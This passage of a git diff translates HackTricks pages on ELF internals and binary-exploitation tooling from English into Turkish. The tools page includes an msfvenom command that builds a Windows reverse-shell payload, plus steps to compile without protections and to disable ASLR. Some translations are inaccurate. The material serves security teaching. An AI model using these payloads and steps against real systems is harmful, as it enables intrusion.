LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +Ayrıca, konum, ofset, izinler ve bölümün **veri türü** hakkında bilgi verir. -It also indicates the location, offset, permissions but also the **type of data** it section has. +### Meta Bölümleri -### Meta Sections +- **String table**: ELF dosyası için gerekli olan tüm dizeleri içerir (ancak program tarafından gerçekten kullanılanları değil). Örneğin, `.text` veya `.data` gibi bölüm adlarını içerir. Ve eğer `.text` string tablosunda 45. ofsetteyse, **name** alanında **45** numarasını kullanır. +- String tablosunun nerede olduğunu bulmak için, ELF string tablosuna bir işaretçi içerir. +- **Symbol table**: Semboller hakkında isim (string tablosundaki ofset), adres, boyut ve sembol hakkında daha fazla meta veri gibi bilgileri içerir. -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### Ana Bölümler -### Main Sections +- **`.text`**: Çalıştırılacak programın talimatları. +- **`.data`**: Programda tanımlı bir değere sahip global değişkenler. +- **`.bss`**: Başlatılmamış (veya sıfıra başlatılmış) global değişkenler. Buradaki değişkenler otomatik olarak sıfıra başlatılır, böylece gereksiz sıfırların ikili dosyaya eklenmesi engellenir. +- **`.rodata`**: Sabit global değişkenler (salt okunur bölüm). +- **`.tdata`** ve **`.tbss`**: Thread-local değişkenler kullanıldığında .data ve .bss gibi (`__thread_local` C++'ta veya `__thread` C'de). +- **`.dynamic`**: Aşağıya bakın. -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## Semboller +Semboller, programda bir işlev, global veri nesnesi, thread-local değişkenler olabilecek adlandırılmış bir konumdur... ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +Her sembol girişi şunları içerir: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **İsim** +- **Bağlama özellikleri** (zayıf, yerel veya küresel): Yerel bir sembol yalnızca program tarafından erişilebilirken, küresel semboller programın dışındaki paylaşılan sembollerdir. Zayıf bir nesne, örneğin, farklı bir fonksiyonla geçersiz kılınabilen bir fonksiyondur. +- **Tür**: NOTYPE (tip belirtilmemiş), OBJECT (küresel veri değişkeni), FUNC (fonksiyon), SECTION (bölüm), FILE (hata ayıklayıcılar için kaynak kodu dosyası), TLS (iş parçacığına özgü değişken), GNU_IFUNC (yer değiştirme için dolaylı fonksiyon) +- **Bölüm** indeksi nerede bulunduğu +- **Değer** (bellek adresi) +- **Boyut** +## Dinamik Bölüm ``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` +NEEDED dizini, programın devam edebilmesi için **belirtilen kütüphaneyi yüklemesi gerektiğini** gösterir. NEEDED dizini, paylaşılan **kütüphane tamamen çalışır ve kullanıma hazır olduğunda** tamamlanır. -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. - -## Relocations - -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. +## Yeniden Yerleştirmeler +Yükleyici, bağımlılıkları yükledikten sonra yeniden yerleştirmeleri de yapmalıdır. Bu yeniden yerleştirmeler, REL veya RELA formatlarında yeniden yerleştirme tablosunda belirtilir ve yeniden yerleştirmelerin sayısı dinamik bölümlerde RELSZ veya RELASZ ile verilir. ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` +### Statik Yeniden Yerleştirmeler -### Static Relocations +Eğer **program tercih edilen adresten** (genellikle 0x400000) farklı bir yere yüklenirse, bu adresin zaten kullanılıyor olması veya **ASLR** ya da başka bir sebepten dolayı, statik bir yeniden yerleştirme **işaretçileri düzeltir** ki bu işaretçiler, ikili dosyanın tercih edilen adreste yükleneceğini bekliyordu. -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +Örneğin, `R_AARCH64_RELATIV` türündeki herhangi bir bölüm, yeniden yerleştirme kayması artı ekleme değeri ile adresin değiştirilmesini gerektirir. -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +### Dinamik Yeniden Yerleştirmeler ve GOT -### Dynamic Relocations and GOT +Yeniden yerleştirme, bir dış sembole (bir bağımlılıktan bir fonksiyon gibi) de referans verebilir. Örneğin, libC'den malloc fonksiyonu. O zaman, yükleyici libC'yi bir adrese yüklerken malloc fonksiyonunun yüklendiği yeri kontrol eder, bu adresi GOT (Küresel Ofset Tablosu) tablosuna yazar (yeniden yerleştirme tablosunda belirtilmiştir) ve burada malloc'un adresi belirtilmelidir. -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +### Prosedür Bağlantı Tablosu -### Procedure Linkage Table +PLT bölümü tembel bağlama yapmayı sağlar, bu da bir fonksiyonun yerinin çözümlemesinin ilk kez erişildiğinde gerçekleştirileceği anlamına gelir. -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +Bu nedenle bir program malloc çağırdığında, aslında PLT'deki `malloc`'un karşılık gelen konumunu çağırır (`malloc@plt`). İlk kez çağrıldığında `malloc`'un adresini çözer ve bunu saklar, böylece bir sonraki `malloc` çağrıldığında, bu adres PLT kodu yerine kullanılır. -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. - -## Program Initialization - -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: +## Program Başlatma +Program yüklendikten sonra çalıştırma zamanı gelmiştir. Ancak, çalıştırılan ilk kod **her zaman `main`** fonksiyonu değildir. Bunun nedeni, örneğin C++'ta eğer bir **global değişken bir sınıfın nesnesi ise**, bu nesne **main çalışmadan önce** **başlatılmalıdır**, örneğin: ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +Bu global değişkenlerin `.data` veya `.bss` içinde bulunduğunu unutmayın, ancak `__CTOR_LIST__` ve `__DTOR_LIST__` listelerinde başlatılacak ve yok edilecek nesneler saklanır, böylece bunların takibi yapılabilir. -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +C kodundan aynı sonuca GNU uzantılarını kullanarak ulaşmak mümkündür: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +Derleyici perspektifinden, `main` fonksiyonu çalıştırılmadan önce ve sonra bu eylemleri gerçekleştirmek için, dinamik bölümde **`INIT`** ve **`FIN`** olarak referans verilecek bir `init` fonksiyonu ve bir `fini` fonksiyonu oluşturmak mümkündür. Bu fonksiyonlar ELF'nin `init` ve `fini` bölümlerinde yer alır. -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +Diğer bir seçenek, bahsedildiği gibi, dinamik bölümdeki **`INIT_ARRAY`** ve **`FINI_ARRAY`** girişlerinde **`__CTOR_LIST__`** ve **`__DTOR_LIST__`** listelerine referans vermektir ve bunların uzunluğu **`INIT_ARRAYSZ`** ve **`FINI_ARRAYSZ`** ile belirtilir. Her giriş, argüman olmadan çağrılacak bir fonksiyon işaretçisidir. -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +Ayrıca, **`INIT_ARRAY`** işaretçileri **önce** çalıştırılacak **işaretçileri** içeren bir **`PREINIT_ARRAY`** olması da mümkündür. -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +### Başlatma Sırası -### Initialization Order - -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +1. Program belleğe yüklenir, statik global değişkenler **`.data`** bölümünde başlatılır ve başlatılmamış olanlar **`.bss`** bölümünde sıfırlanır. +2. Program veya kütüphaneler için tüm **bağımlılıklar** **başlatılır** ve **dinamik bağlantı** gerçekleştirilir. +3. **`PREINIT_ARRAY`** fonksiyonları çalıştırılır. +4. **`INIT_ARRAY`** fonksiyonları çalıştırılır. +5. Eğer bir **`INIT`** girişi varsa, çağrılır. +6. Eğer bir kütüphane ise, dlopen burada sona erer; eğer bir program ise, **gerçek giriş noktası** (`main` fonksiyonu) çağrılma zamanı gelmiştir. ## Thread-Local Storage (TLS) -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +C++'da **`__thread_local`** anahtar kelimesi veya GNU uzantısı **`__thread`** kullanılarak tanımlanırlar. -Each thread will maintain a unique location for this variable so only the thread can access its variable. +Her bir thread, bu değişken için benzersiz bir konum tutacaktır, böylece yalnızca thread kendi değişkenine erişebilir. -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +Bu kullanıldığında, ELF'de **`.tdata`** ve **`.tbss`** bölümleri kullanılır. Bunlar, TLS için `.data` (başlatılmış) ve `.bss` (başlatılmamış) gibidir. -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. +Her değişken, boyutu ve thread'in yerel veri alanındaki kullanacağı TLS ofsetini belirten TLS başlığında bir girişe sahip olacaktır. -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +`__TLS_MODULE_BASE`, thread yerel depolamanın temel adresine atıfta bulunmak için kullanılan bir semboldür ve bir modülün tüm thread yerel verilerini içeren bellek alanına işaret eder. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..ae25213e3 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Exploit Araçları {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - -### Shellcodes - +### Shellkodlar ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Kurulum ```bash apt-get install gdb ``` - -### Parameters - +### Parametreler ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Talimatlar ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +İsterseniz, daha ilginç talimatlar içeren [**bu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) çatısını kullanabilirsiniz. ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB aynı adresler -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Hata ayıklama sırasında GDB, **çalıştırıldığında ikili dosya tarafından kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _İkili dosyanın mutlak yolunu koyun_ +- İkili dosyayı aynı mutlak yol ile istismar edin +- `PWD` ve `OLDPWD`, GDB kullanırken ve ikili dosyayı istismar ederken aynı olmalıdır -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Fonksiyonları bulmak için geri izleme +Eğer bir **statik bağlı ikili dosya** varsa, tüm fonksiyonlar ikili dosyaya ait olacaktır (ve dış kütüphanelere değil). Bu durumda, **ikili dosyanın kullanıcı girişi istemek için izlediği akışı tanımlamak zor olacaktır.**\ +Bu akışı, **gdb** ile ikili dosyayı çalıştırarak kolayca tanımlayabilirsiniz, ta ki sizden giriş istenene kadar. Ardından, **CTRL+C** ile durdurun ve çağrılan fonksiyonları görmek için **`bt`** (**geri izleme**) komutunu kullanın: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDB sunucusu -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (IDA'da, Linux makinesindeki çalıştırılabilir dosyanın mutlak yolunu ve Windows makinesindeki yolu doldurmalısınız) ## Ghidra -### Find stack offset +### Yığın ofsetini bul -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra**, **yerel değişkenlerin konumu hakkında bilgi sayesinde bir **buffer overflow** için **ofset** bulmakta çok kullanışlıdır.**\ +Örneğin, aşağıdaki örnekte, `local_bc`'deki bir buffer akışı, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Ayrıca, `local_10` bir canary cookie ise, `local_bc`'den üzerine yazmak için `0xac` ofsetine ihtiyaç olduğunu gösterir.\ +&#xNAN;_Remember, RIP'in kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - -Get every opcode executed in the program. +Herhangi bir opcode'u programda çalıştırın. ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\ +&#xNAN;**-o** --> Çıktı\ +&#xNAN;**-g** --> Kodu kaydet (GDB bunu görebilecek)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux'ta ASLR'yi devre dışı bırakmak için -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Bir shellcode derlemek için:**\ +**nasm -f elf assembly.asm** --> ".o" döndürür\ +**ld assembly.o -o shellcodeout** --> Çalıştırılabilir ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Çalıştırılabilir** bölümleri ayrıştır (derlenmiş bir shellcode'un opcodlarını gör, ROP Gadget'ları bul, fonksiyon adresini bul...)\ +&#xNAN;**-Mintel** --> **Intel** sözdizimi\ +&#xNAN;**-t** --> **Semboller** tablosu\ +&#xNAN;**-D** --> **Tümünü ayrıştır** (statik değişkenin adresi)\ +&#xNAN;**-s -j .dtors** --> dtors bölümü\ +&#xNAN;**-s -j .got** --> got bölümü\ +-D -s -j .plt --> **plt** bölümü **dekompile edildi**\ +&#xNAN;**-TR** --> **Yeniden yerleştirmeler**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'da değiştirilmesi gereken "puts" adresi\ +**objdump -D ./exec | grep "VAR_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır). ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın 3. sudo gdb --core=\ --quiet -## More +## Daha Fazla -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Adres (eğer ASLR varsa, bu her seferinde değişir)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" ofseti\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Çalıştırılabilir tarafından çağrılan fonksiyonlar\ +**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: +### Uzak linux'ta hata ayıklama +IDA klasörü içinde, bir ikili dosyayı linux içinde hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunu yapmak için `linux_server` veya 